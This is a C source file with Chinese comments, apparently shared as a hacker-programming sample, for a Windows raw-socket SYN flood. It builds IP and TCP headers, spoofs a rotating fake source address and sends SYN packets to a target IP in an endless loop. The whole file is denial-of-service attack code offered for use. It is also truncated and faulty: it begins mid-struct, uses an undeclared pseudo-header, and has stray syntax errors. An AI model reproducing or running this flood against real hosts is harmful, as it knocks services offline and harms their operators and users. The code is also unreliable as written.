syn flood代码.txt

可以对黑客编程有一定的了解

    USHORT th_sum;                 //16位校验和

    USHORT th_urp;                 //16位紧急数据偏移量

}TCP_HEADER;

  

//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{ 

unsigned long cksum=0;

      while(size >1) {

    cksum+=*buffer++;

    size -=sizeof(USHORT);

  }

  if(size ) {

    cksum += *(UCHAR*)buffer;

  }

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}

  

//  SynFlood主函数

int main()

{

    int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

    int TimeOut=2000,SendSEQ=0;

    char SendBuf[128]={0};

    char RecvBuf[65535]={0};

    WSADATA wsaData;

    SOCKET SockRaw=(SOCKET)NULL;

    struct sockaddr_in DestAddr;

    IP_HEADER ip_header;

    TCP_HEADER tcp_header;

    //初始化SOCK_RAW

    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

        fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);

        ExitProcess(STATUS_FAILED);

    }

    SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

if (SockRaw==INVALID_SOCKET){

        fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());

        ExitProcess(STATUS_FAILED);

    }

    flag=TRUE;

    //设置IP_HDRINCL以自己填充IP首部

    ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

If (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n");

    __try{

        //设置发送超时

        ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR){

            fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());

            __leave;

        }

        memset(&DestAddr,0,sizeof(DestAddr));

        DestAddr.sin_family=AF_INET;

        DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);

        FakeIpNet=inet_addr(FAKE_IP);

        FakeIpHost=ntohl(FakeIpNet);

        //填充IP首部

        ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位IP版本号，低四位首部长度

        ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位总长度（字节）

        ip_header.ident=1;                                                       //16位标识

        ip_header.frag_and_flags=0;                                               //3位标志位

        ip_header.ttl=128;                                                       //8位生存时间TTL

        ip_header.proto=IPPROTO_TCP;                                          //8位协议(TCP,UDP…)

        ip_header.checksum=0;                                                    //16位IP首部校验和

        ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                          //32位源IP地址

        ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32位目的IP地址

    //填充TCP首部

        tcp_header.th_sport=htons(7000);                                      //源端口号

        tcp_header.th_dport=htons(8080);                                      //目的端口号

        tcp_header.th_seq=htonl(SEQ+SendSEQ);                                  //SYN序列号

        tcp_header.th_ack=0;                                                 //ACK序列号置为0

        tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);                        //TCP长度和保留位

        tcp_header.th_flag=2;                                                    //SYN 标志

        tcp_header.th_win=htons(16384);                                           //窗口大小

        tcp_header.th_urp=0;                                                 //偏移

        tcp_header.th_sum=0;                                                 //校验和

        //填充TCP伪首部（用于计算校验和，并不真正发送）

        psd_header.saddr=ip_header.sourceIP;                                    //源地址

        psd_header.daddr=ip_header.destIP;                                      //目的地址

        psd_header.mbz=0;

        psd_header.ptcl=IPPROTO_TCP;                                            //协议类型

        psd_header.tcpl=htons(sizeof(tcp_header));                              //TCP首部长度

        while(1) {

            //每发送10,240个报文输出一个标示符

            printf(".");

            for(counter=0;counter<10240;counter++){

                if(SendSEQ++==65536) SendSEQ=1;                                  //序列号循环

                //更改IP首部

                ip_header.checksum=0;                                            //16位IP首部校验和

                ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                  //32位源IP地址

                //更改TCP首部

                tcp_header.th_seq=htonl(SEQ+SendSEQ);                          //SYN序列号

                tcp_header.th_sum=0;                                         //校验和

                //更改TCP Pseudo Header

                psd_header.saddr=ip_header.sourceIP;                   

                //计算TCP校验和，计算校验和时需要包括TCP pseudo header         

                memcpy(SendBuf,&psd_header,sizeof(psd_header));   

                memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

                tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

                //计算IP校验和

                memcpy(SendBuf,&ip_header,sizeof(ip_header));

                memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

                memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

                datasize=sizeof(ip_header)+sizeof(tcp_header);

                ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

                //填充发送缓冲区

                memcpy(SendBuf,&ip_header,sizeof(ip_header));

                //发送TCP报文

                ErrorCode=sendto(SockRaw,

                                SendBuf,

                                datasize,

                                0,

                                (struct sockaddr*) &DestAddr,

                                sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());

            }//End of for

        }//End of While

    }//End of try

  __finally {

    if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

    WSACleanup();

  }

  return 0;

}